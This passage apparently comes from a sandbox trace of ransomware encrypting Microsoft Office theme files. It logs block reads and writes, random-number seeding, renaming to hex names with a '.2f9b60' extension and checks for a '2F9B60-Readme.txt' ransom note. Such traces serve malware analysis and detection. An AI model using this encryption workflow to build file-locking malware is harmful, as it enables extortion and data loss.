lpBuffer=0x1ce5d510*, lpNumberOfBytesWritten=0x2570f900*=0x3c00, lpOverlapped=0x0) returned 1 [0089.293] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5d510) returned 1 [0089.294] SetFilePointerEx (in: hFile=0xa3c, liDistanceToMove=0x3e5e6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.294] ReadFile (in: hFile=0xa3c, lpBuffer=0x1cea8940, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2570f900, lpOverlapped=0x0 | out: lpBuffer=0x1cea8940*, lpNumberOfBytesRead=0x2570f900*=0x3c00, lpOverlapped=0x0) returned 1 [0089.299] SetFilePointerEx (in: hFile=0xa3c, liDistanceToMove=0x3e5e6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.299] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0089.299] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dff0 [0089.299] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a480 [0089.299] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a480) returned 1 [0089.299] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1ce5d510 [0089.299] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a480 [0089.299] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a1e0 [0089.299] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a1e0) returned 1 [0089.299] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dff0) returned 1 [0089.299] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0089.299] WriteFile (in: hFile=0xa3c, lpBuffer=0x1ce5d510*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2570f900, lpOverlapped=0x0 | out: lpBuffer=0x1ce5d510*, lpNumberOfBytesWritten=0x2570f900*=0x3c00, lpOverlapped=0x0) returned 1 [0089.300] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5d510) returned 1 [0089.300] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1b7c1f70 [0089.301] SetFilePointerEx (in: hFile=0xa3c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0089.301] WriteFile (in: hFile=0xa3c, lpBuffer=0x1b82f830*, nNumberOfBytesToWrite=0x146, lpNumberOfBytesWritten=0x2570f9b0, lpOverlapped=0x0 | out: lpBuffer=0x1b82f830*, lpNumberOfBytesWritten=0x2570f9b0*=0x146, lpOverlapped=0x0) returned 1 [0089.303] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0089.303] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dff0 [0089.303] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a1e0 [0089.303] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a1e0) returned 1 [0089.303] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82d000 [0089.303] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a1e0 [0089.303] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859e80 [0089.303] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859e80) returned 1 [0089.303] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dff0) returned 1 [0089.303] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0089.303] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x1cd9f970 [0089.303] sprintf (in: _Dest=0x1cd9f970, _Format="%c%c" | out: _Dest="0d") returned 2 [0089.303] sprintf (in: _Dest=0x1cd9f972, _Format="%c%c" | out: _Dest="76") returned 2 [0089.303] sprintf (in: _Dest=0x1cd9f974, _Format="%c%c" | out: _Dest="fe") returned 2 [0089.303] sprintf (in: _Dest=0x1cd9f976, _Format="%c%c" | out: _Dest="08") returned 2 [0089.303] sprintf (in: _Dest=0x1cd9f978, _Format="%c%c" | out: _Dest="b4") returned 2 [0089.303] sprintf (in: _Dest=0x1cd9f97a, _Format="%c%c" | out: _Dest="0e") returned 2 [0089.304] sprintf (in: _Dest=0x1cd9f97c, _Format="%c%c" | out: _Dest="7f") returned 2 [0089.304] sprintf (in: _Dest=0x1cd9f97e, _Format="%c%c" | out: _Dest="46") returned 2 [0089.304] sprintf (in: _Dest=0x1cd9f980, _Format="%c%c" | out: _Dest="f5") returned 2 [0089.304] sprintf (in: _Dest=0x1cd9f982, _Format="%c%c" | out: _Dest="00") returned 2 [0089.304] sprintf (in: _Dest=0x1cd9f984, _Format="%c%c" | out: _Dest="bd") returned 2 [0089.304] sprintf (in: _Dest=0x1cd9f986, _Format="%c%c" | out: _Dest="2b") returned 2 [0089.304] sprintf (in: _Dest=0x1cd9f988, _Format="%c%c" | out: _Dest="c3") returned 2 [0089.304] sprintf (in: _Dest=0x1cd9f98a, _Format="%c%c" | out: _Dest="60") returned 2 [0089.304] sprintf (in: _Dest=0x1cd9f98c, _Format="%c%c" | out: _Dest="70") returned 2 [0089.304] sprintf (in: _Dest=0x1cd9f98e, _Format="%c%c" | out: _Dest="1d") returned 2 [0089.304] sprintf (in: _Dest=0x1cd9f990, _Format="%c%c" | out: _Dest="03") returned 2 [0089.304] sprintf (in: _Dest=0x1cd9f992, _Format="%c%c" | out: _Dest="4b") returned 2 [0089.304] sprintf (in: _Dest=0x1cd9f994, _Format="%c%c" | out: _Dest="8c") returned 2 [0089.304] sprintf (in: _Dest=0x1cd9f996, _Format="%c%c" | out: _Dest="a7") returned 2 [0089.304] RtlInitAnsiString (in: DestinationString=0x2570fa28, SourceString="0d76fe08b40e7f46f500bd2bc360701d034b8ca7" | out: DestinationString="0d76fe08b40e7f46f500bd2bc360701d034b8ca7") [0089.304] RtlAnsiStringToUnicodeString (in: DestinationString=0x2570f9f8, SourceString="0d76fe08b40e7f46f500bd2bc360701d034b8ca7", AllocateDestinationString=1 | out: DestinationString="0d76fe08b40e7f46f500bd2bc360701d034b8ca7") returned 0x0 [0089.304] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1cd9d3d0 [0089.304] wcscat (in: _Dest=0x1b7ad2a0, _Source="0d76fe08b4" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\0d76fe08b4") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\0d76fe08b4" [0089.304] wcscat (in: _Dest=0x1b7ad2a0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\0d76fe08b4.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\0d76fe08b4.2f9b60" [0089.304] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\0d76fe08b4.2f9b60", NtPathName=0x2570f9d0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\0d76fe08b4.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0089.304] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x106e80 [0089.306] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x106e80) returned 1 [0089.306] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b77ad20) returned 1 [0089.306] NtQueryInformationFile (in: FileHandle=0xa3c, IoStatusBlock=0x2570fa38, FileInformation=0x2570fa48, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2570fa38, FileInformation=0x2570fa48) returned 0x0 [0089.306] NtSetInformationFile (FileHandle=0xa3c, IoStatusBlock=0x2570fa38, FileInformation=0x2570fa48, Length=0x28, FileInformationClass=0x4) returned 0x0 [0089.308] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad2a0) returned 1 [0089.308] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9d3d0) returned 1 [0089.308] FlushFileBuffers (hFile=0xa3c) returned 1 [0089.310] CloseHandle (hObject=0xa3c) returned 1 [0089.311] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x1b7ad2a0 [0089.311] wcscpy (in: _Dest=0x1b7ad2a0, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0089.311] wcscat (in: _Dest=0x1b7ad2a0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\2F9B60-Readme.txt" [0089.311] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\2f9b60-readme.txt")) returned 0x20 [0089.312] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad2a0) returned 1 [0089.312] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b9a0) returned 1 Thread: id = 351 os_tid = 0xeac [0089.310] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Perspective.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\perspective.thmx")) returned 0x20 [0089.313] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Perspective.thmx", dwFileAttributes=0x20) returned 1 [0089.314] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Perspective.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\perspective.thmx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xa3c [0089.314] GetFileSizeEx (in: hFile=0xa3c, lpFileSize=0x2523fc80 | out: lpFileSize=0x2523fc80*=53594) returned 1 [0089.314] SetFilePointerEx (in: hFile=0xa3c, liDistanceToMove=0xd156, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.314] ReadFile (in: hFile=0xa3c, lpBuffer=0x2523fc00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2523fc48, lpOverlapped=0x0 | out: lpBuffer=0x2523fc00*, lpNumberOfBytesRead=0x2523fc48*=0x4, lpOverlapped=0x0) returned 1 [0089.319] SetFilePointerEx (in: hFile=0xa3c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.319] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a4b0 [0089.319] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a2d0 [0089.319] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859e50 [0089.319] NtQuerySystemTime (in: CurrentTime=0x2523fb40 | out: CurrentTime=0x2523fb40*=132462176951830000) returned 0x0 [0089.319] RtlRandomEx (in: Seed=0x2523fb30 | out: Seed=0x2523fb30) returned 0x4114f155 [0089.320] RtlRandomEx (in: Seed=0x2523fb30 | out: Seed=0x2523fb30) returned 0x713b3289 [0089.320] RtlRandomEx (in: Seed=0x2523fb30 | out: Seed=0x2523fb30) returned 0x793063ed [0089.320] RtlRandomEx (in: Seed=0x2523fb30 | out: Seed=0x2523fb30) returned 0x3ecd4ad [0089.320] RtlRandomEx (in: Seed=0x2523fb30 | out: Seed=0x2523fb30) returned 0x5d8685f2 [0089.320] RtlRandomEx (in: Seed=0x2523fb30 | out: Seed=0x2523fb30) returned 0x52dfb0d4 [0089.320] RtlRandomEx (in: Seed=0x2523fb30 | out: Seed=0x2523fb30) returned 0x120148eb [0089.320] RtlRandomEx (in: Seed=0x2523fb30 | out: Seed=0x2523fb30) returned 0x2c4590d0 [0089.320] RtlRandomEx (in: Seed=0x2523fb30 | out: Seed=0x2523fb30) returned 0x4ea7f04b [0089.320] RtlRandomEx (in: Seed=0x2523fb30 | out: Seed=0x2523fb30) returned 0x3abfc222 [0089.320] RtlRandomEx (in: Seed=0x2523fb30 | out: Seed=0x2523fb30) returned 0x80b4bac [0089.320] RtlRandomEx (in: Seed=0x2523fb30 | out: Seed=0x2523fb30) returned 0xa40fdb5 [0089.320] RtlRandomEx (in: Seed=0x2523fb30 | out: Seed=0x2523fb30) returned 0x1b63b572 [0089.320] RtlRandomEx (in: Seed=0x2523fb30 | out: Seed=0x2523fb30) returned 0xc1064e3 [0089.320] RtlRandomEx (in: Seed=0x2523fb30 | out: Seed=0x2523fb30) returned 0x774357d8 [0089.320] RtlRandomEx (in: Seed=0x2523fb30 | out: Seed=0x2523fb30) returned 0x17eb5b71 [0089.320] RtlRandomEx (in: Seed=0x2523fb30 | out: Seed=0x2523fb30) returned 0x3eabd03d [0089.320] RtlRandomEx (in: Seed=0x2523fb30 | out: Seed=0x2523fb30) returned 0x49da39bf [0089.320] RtlRandomEx (in: Seed=0x2523fb30 | out: Seed=0x2523fb30) returned 0x296c2d05 [0089.320] RtlRandomEx (in: Seed=0x2523fb30 | out: Seed=0x2523fb30) returned 0x4ccbc611 [0089.320] RtlRandomEx (in: Seed=0x2523fb30 | out: Seed=0x2523fb30) returned 0x73057d85 [0089.320] RtlRandomEx (in: Seed=0x2523fb30 | out: Seed=0x2523fb30) returned 0x5ae5568f [0089.320] RtlRandomEx (in: Seed=0x2523fb30 | out: Seed=0x2523fb30) returned 0x4bcf4b95 [0089.320] RtlRandomEx (in: Seed=0x2523fb30 | out: Seed=0x2523fb30) returned 0x6c8a94b2 [0089.320] RtlRandomEx (in: Seed=0x2523fb30 | out: Seed=0x2523fb30) returned 0x176f6804 [0089.320] RtlRandomEx (in: Seed=0x2523fb30 | out: Seed=0x2523fb30) returned 0x70419259 [0089.320] RtlRandomEx (in: Seed=0x2523fb30 | out: Seed=0x2523fb30) returned 0x7afca10d [0089.321] RtlRandomEx (in: Seed=0x2523fb30 | out: Seed=0x2523fb30) returned 0x12fd3dbc [0089.321] RtlRandomEx (in: Seed=0x2523fb30 | out: Seed=0x2523fb30) returned 0x1e4e7f78 [0089.321] RtlRandomEx (in: Seed=0x2523fb30 | out: Seed=0x2523fb30) returned 0x66d951ca [0089.321] RtlRandomEx (in: Seed=0x2523fb30 | out: Seed=0x2523fb30) returned 0x6f34adaa [0089.321] RtlRandomEx (in: Seed=0x2523fb30 | out: Seed=0x2523fb30) returned 0x3c77a732 [0089.331] SetFilePointerEx (in: hFile=0xa3c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.331] ReadFile (in: hFile=0xa3c, lpBuffer=0x1ce5d510, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2523fba0, lpOverlapped=0x0 | out: lpBuffer=0x1ce5d510*, lpNumberOfBytesRead=0x2523fba0*=0x3c00, lpOverlapped=0x0) returned 1 [0089.334] SetFilePointerEx (in: hFile=0xa3c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.334] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0089.335] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dff0 [0089.335] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a4b0 [0089.335] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a4b0) returned 1 [0089.335] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1cea4d30 [0089.335] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a4b0 [0089.335] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859e50 [0089.335] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859e50) returned 1 [0089.335] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dff0) returned 1 [0089.335] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0089.335] WriteFile (in: hFile=0xa3c, lpBuffer=0x1cea4d30*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2523fba0, lpOverlapped=0x0 | out: lpBuffer=0x1cea4d30*, lpNumberOfBytesWritten=0x2523fba0*=0x3c00, lpOverlapped=0x0) returned 1 [0089.352] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cea4d30) returned 1 [0089.352] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5d510) returned 1 [0089.352] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2e) returned 0x1cd9f970 [0089.353] SetFilePointerEx (in: hFile=0xa3c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0089.353] WriteFile (in: hFile=0xa3c, lpBuffer=0x166e00*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2523fc50, lpOverlapped=0x0 | out: lpBuffer=0x166e00*, lpNumberOfBytesWritten=0x2523fc50*=0x112, lpOverlapped=0x0) returned 1 [0089.359] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0089.360] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dff0 [0089.360] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a2a0 [0089.360] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a2a0) returned 1 [0089.360] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a2a0 [0089.360] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a420 [0089.360] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a450 [0089.360] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a450) returned 1 [0089.360] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dff0) returned 1 [0089.360] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0089.360] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x41) returned 0x1cd97350 [0089.360] sprintf (in: _Dest=0x1cd97350, _Format="%c%c" | out: _Dest="88") returned 2 [0089.360] sprintf (in: _Dest=0x1cd97352, _Format="%c%c" | out: _Dest="49") returned 2 [0089.360] sprintf (in: _Dest=0x1cd97354, _Format="%c%c" | out: _Dest="93") returned 2 [0089.361] sprintf (in: _Dest=0x1cd97356, _Format="%c%c" | out: _Dest="0c") returned 2 [0089.361] sprintf (in: _Dest=0x1cd97358, _Format="%c%c" | out: _Dest="d5") returned 2 [0089.361] sprintf (in: _Dest=0x1cd9735a, _Format="%c%c" | out: _Dest="b4") returned 2 [0089.361] sprintf (in: _Dest=0x1cd9735c, _Format="%c%c" | out: _Dest="7c") returned 2 [0089.361] sprintf (in: _Dest=0x1cd9735e, _Format="%c%c" | out: _Dest="e7") returned 2 [0089.361] sprintf (in: _Dest=0x1cd97360, _Format="%c%c" | out: _Dest="d1") returned 2 [0089.361] sprintf (in: _Dest=0x1cd97362, _Format="%c%c" | out: _Dest="a0") returned 2 [0089.361] sprintf (in: _Dest=0x1cd97364, _Format="%c%c" | out: _Dest="be") returned 2 [0089.361] sprintf (in: _Dest=0x1cd97366, _Format="%c%c" | out: _Dest="9c") returned 2 [0089.361] sprintf (in: _Dest=0x1cd97368, _Format="%c%c" | out: _Dest="11") returned 2 [0089.361] sprintf (in: _Dest=0x1cd9736a, _Format="%c%c" | out: _Dest="c6") returned 2 [0089.361] sprintf (in: _Dest=0x1cd9736c, _Format="%c%c" | out: _Dest="23") returned 2 [0089.361] sprintf (in: _Dest=0x1cd9736e, _Format="%c%c" | out: _Dest="34") returned 2 [0089.361] sprintf (in: _Dest=0x1cd97370, _Format="%c%c" | out: _Dest="2e") returned 2 [0089.361] sprintf (in: _Dest=0x1cd97372, _Format="%c%c" | out: _Dest="1a") returned 2 [0089.361] sprintf (in: _Dest=0x1cd97374, _Format="%c%c" | out: _Dest="b0") returned 2 [0089.361] sprintf (in: _Dest=0x1cd97376, _Format="%c%c" | out: _Dest="68") returned 2 [0089.361] sprintf (in: _Dest=0x1cd97378, _Format="%c%c" | out: _Dest="ad") returned 2 [0089.361] sprintf (in: _Dest=0x1cd9737a, _Format="%c%c" | out: _Dest="c0") returned 2 [0089.361] sprintf (in: _Dest=0x1cd9737c, _Format="%c%c" | out: _Dest="a1") returned 2 [0089.361] sprintf (in: _Dest=0x1cd9737e, _Format="%c%c" | out: _Dest="b0") returned 2 [0089.361] sprintf (in: _Dest=0x1cd97380, _Format="%c%c" | out: _Dest="14") returned 2 [0089.361] sprintf (in: _Dest=0x1cd97382, _Format="%c%c" | out: _Dest="f9") returned 2 [0089.361] sprintf (in: _Dest=0x1cd97384, _Format="%c%c" | out: _Dest="d6") returned 2 [0089.362] sprintf (in: _Dest=0x1cd97386, _Format="%c%c" | out: _Dest="ba") returned 2 [0089.362] sprintf (in: _Dest=0x1cd97388, _Format="%c%c" | out: _Dest="e6") returned 2 [0089.362] sprintf (in: _Dest=0x1cd9738a, _Format="%c%c" | out: _Dest="12") returned 2 [0089.362] sprintf (in: _Dest=0x1cd9738c, _Format="%c%c" | out: _Dest="61") returned 2 [0089.362] sprintf (in: _Dest=0x1cd9738e, _Format="%c%c" | out: _Dest="e2") returned 2 [0089.362] RtlInitAnsiString (in: DestinationString=0x2523fcc8, SourceString="8849930cd5b47ce7d1a0be9c11c623342e1ab068adc0a1b014f9d6bae61261e2" | out: DestinationString="8849930cd5b47ce7d1a0be9c11c623342e1ab068adc0a1b014f9d6bae61261e2") [0089.362] RtlAnsiStringToUnicodeString (in: DestinationString=0x2523fc98, SourceString="8849930cd5b47ce7d1a0be9c11c623342e1ab068adc0a1b014f9d6bae61261e2", AllocateDestinationString=1 | out: DestinationString="8849930cd5b47ce7d1a0be9c11c623342e1ab068adc0a1b014f9d6bae61261e2") returned 0x0 [0089.362] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x1b85b910 [0089.362] wcscat (in: _Dest=0x1ce10a50, _Source="8849930cd5b47ce7" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\8849930cd5b47ce7") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\8849930cd5b47ce7" [0089.362] wcscat (in: _Dest=0x1ce10a50, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\8849930cd5b47ce7.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\8849930cd5b47ce7.2f9b60" [0089.362] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\8849930cd5b47ce7.2f9b60", NtPathName=0x2523fc70, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\8849930cd5b47ce7.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0089.362] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb8) returned 0x106e80 [0089.364] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x106e80) returned 1 [0089.364] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b77ad20) returned 1 [0089.364] NtQueryInformationFile (in: FileHandle=0xa3c, IoStatusBlock=0x2523fcd8, FileInformation=0x2523fce8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2523fcd8, FileInformation=0x2523fce8) returned 0x0 [0089.364] NtSetInformationFile (FileHandle=0xa3c, IoStatusBlock=0x2523fcd8, FileInformation=0x2523fce8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0089.365] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce10a50) returned 1 [0089.365] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b910) returned 1 [0089.365] FlushFileBuffers (hFile=0xa3c) returned 1 [0089.376] CloseHandle (hObject=0xa3c) returned 1 [0089.376] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x1b7ad2a0 [0089.376] wcscpy (in: _Dest=0x1b7ad2a0, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0089.377] wcscat (in: _Dest=0x1b7ad2a0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\2F9B60-Readme.txt" [0089.377] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\2f9b60-readme.txt")) returned 0x20 [0089.377] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad2a0) returned 1 [0089.377] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad160) returned 1 Thread: id = 352 os_tid = 0xeb0 [0089.318] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Pushpin.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\pushpin.thmx")) returned 0x20 [0089.332] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Pushpin.thmx", dwFileAttributes=0x20) returned 1 [0089.332] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Pushpin.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\pushpin.thmx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xa44 [0089.332] GetFileSizeEx (in: hFile=0xa44, lpFileSize=0x2566f8a0 | out: lpFileSize=0x2566f8a0*=825294) returned 1 [0089.332] SetFilePointerEx (in: hFile=0xa44, liDistanceToMove=0xc97ca, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.332] ReadFile (in: hFile=0xa44, lpBuffer=0x2566f820, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2566f868, lpOverlapped=0x0 | out: lpBuffer=0x2566f820*, lpNumberOfBytesRead=0x2566f868*=0x4, lpOverlapped=0x0) returned 1 [0089.336] SetFilePointerEx (in: hFile=0xa44, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.336] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859e50 [0089.337] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a480 [0089.337] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a3f0 [0089.337] NtQuerySystemTime (in: CurrentTime=0x2566f760 | out: CurrentTime=0x2566f760*=132462176951986000) returned 0x0 [0089.337] RtlRandomEx (in: Seed=0x2566f750 | out: Seed=0x2566f750) returned 0x50dcf646 [0089.337] RtlRandomEx (in: Seed=0x2566f750 | out: Seed=0x2566f750) returned 0x3dab3e7e [0089.337] RtlRandomEx (in: Seed=0x2566f750 | out: Seed=0x2566f750) returned 0x4eebfa7e [0089.337] RtlRandomEx (in: Seed=0x2566f750 | out: Seed=0x2566f750) returned 0x27bbd9a7 [0089.337] RtlRandomEx (in: Seed=0x2566f750 | out: Seed=0x2566f750) returned 0x60ebd18f [0089.337] RtlRandomEx (in: Seed=0x2566f750 | out: Seed=0x2566f750) returned 0x131663fa [0089.337] RtlRandomEx (in: Seed=0x2566f750 | out: Seed=0x2566f750) returned 0x73d6d082 [0089.337] 